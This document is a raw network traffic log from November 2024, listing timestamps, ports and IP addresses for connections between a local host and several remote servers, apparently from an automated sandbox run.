Nov 18, 2024 04:41:36.542419910 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542454958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542457104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542474985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542512894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542536020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542547941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542557955 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542568922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542579889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542617083 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542654037 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542665005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542676926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542709112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542733908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542764902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542783976 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542795897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542810917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542823076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542824984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542838097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542860031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542886019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542896032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542913914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542924881 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542937040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.542952061 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.542983055 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543009043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543020964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543031931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543044090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543050051 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543092966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543180943 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543194056 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543214083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543225050 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543236971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543236971 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543248892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543263912 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543292046 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543349981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543361902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543373108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543392897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543399096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543404102 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543417931 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543456078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543487072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543499947 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543510914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543523073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543534040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543534994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543557882 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543581963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543644905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543657064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543668985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543679953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543688059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543692112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543704987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543713093 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543750048 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543836117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543848991 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543859959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543872118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543879032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543884039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543896914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543916941 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543916941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.543977022 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.543987989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544001102 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544034958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544070005 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544090033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544102907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544115067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544138908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544174910 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544183016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544194937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544205904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544219017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544233084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544255018 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544290066 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544348955 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544361115 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544373035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544384956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544398069 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544404030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544436932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544524908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544536114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544548035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544559002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544570923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544574022 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544585943 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.544612885 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544636011 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.544811010 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.544826984 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.544888973 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.544903040 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.544987917 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.545110941 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.554270029 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.554286003 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.555356979 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.555362940 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.587382078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.587393045 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.587476015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.601733923 CET	49915	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.601746082 CET	443	49915	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.602368116 CET	49916	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.602385044 CET	443	49916	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.605870008 CET	49917	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:36.605887890 CET	443	49917	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:36.658641100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.658653021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.658741951 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.681737900 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.681881905 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.681963921 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.682137012 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.682151079 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.682168007 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.682173967 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.685452938 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.685478926 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.685559988 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.685830116 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.685842991 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.730842113 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.735785007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.748317003 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.748914957 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.748938084 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.749406099 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.749411106 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.773685932 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.774446964 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.774504900 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.775572062 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.775577068 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.866739035 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.867105007 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.867120981 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.868238926 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.868303061 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.875539064 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.875605106 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.875888109 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.875895977 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.884167910 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.884897947 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.884960890 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.885049105 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.885062933 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.885072947 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.885077953 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.888295889 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.888331890 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.888515949 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.888700962 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.888710976 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.912136078 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.912297010 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.912400007 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.912487030 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.912506104 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.912518978 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.912523985 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.915713072 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.915724039 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.915791988 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.915962934 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.915973902 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.923265934 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:37.010678053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010694027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010708094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010720015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010759115 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.010791063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010802031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010807037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.010816097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010828972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.010847092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.010879040 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011002064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011013985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011027098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011037111 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011050940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011064053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011069059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011076927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011110067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011128902 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011218071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011229038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011240005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011253119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011264086 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011271954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011275053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011323929 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011332989 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011348963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011360884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011374950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011400938 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011409044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011420012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011441946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011473894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011516094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011528015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011539936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011549950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011564970 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011579990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011591911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011609077 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011616945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011629105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011637926 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011652946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011688948 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011693001 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011706114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011717081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011728048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011739969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011751890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011751890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011764050 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011789083 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011810064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011909008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011920929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011933088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011945009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.011956930 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.011981010 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.012013912 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.012051105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012062073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012073040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012084961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012096882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012099028 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.012109041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012137890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.012159109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.012168884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.012360096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.027981043 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:37.040477037 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.040714979 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.040724993 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.042011023 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.042083979 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.043271065 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.043350935 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.043452024 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.052810907 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:37.052871943 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:37.054291964 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:37.054307938 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:37.087337017 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.104281902 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.104387045 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.104491949 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.104507923 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.104533911 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.104597092 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.104649067 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.104660988 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.104671955 CET	49919	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.104676962 CET	443	49919	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.107568979 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.107593060 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.107671022 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.107918024 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.107929945 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.119225979 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.119494915 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.119504929 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.120544910 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.120606899 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.121874094 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.121937037 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.122045040 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.125689983 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.125950098 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.125962973 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.127332926 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.127398014 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.127727985 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.127805948 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.127847910 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.128571033 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.128820896 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.128828049 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.129077911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129091024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129111052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129123926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129134893 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129148006 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129157066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129169941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129199028 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129225016 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129231930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129251003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129264116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129276037 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129276037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129304886 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129307032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129321098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129339933 CET	49833	80	192.168.2.6	185.215.113.206
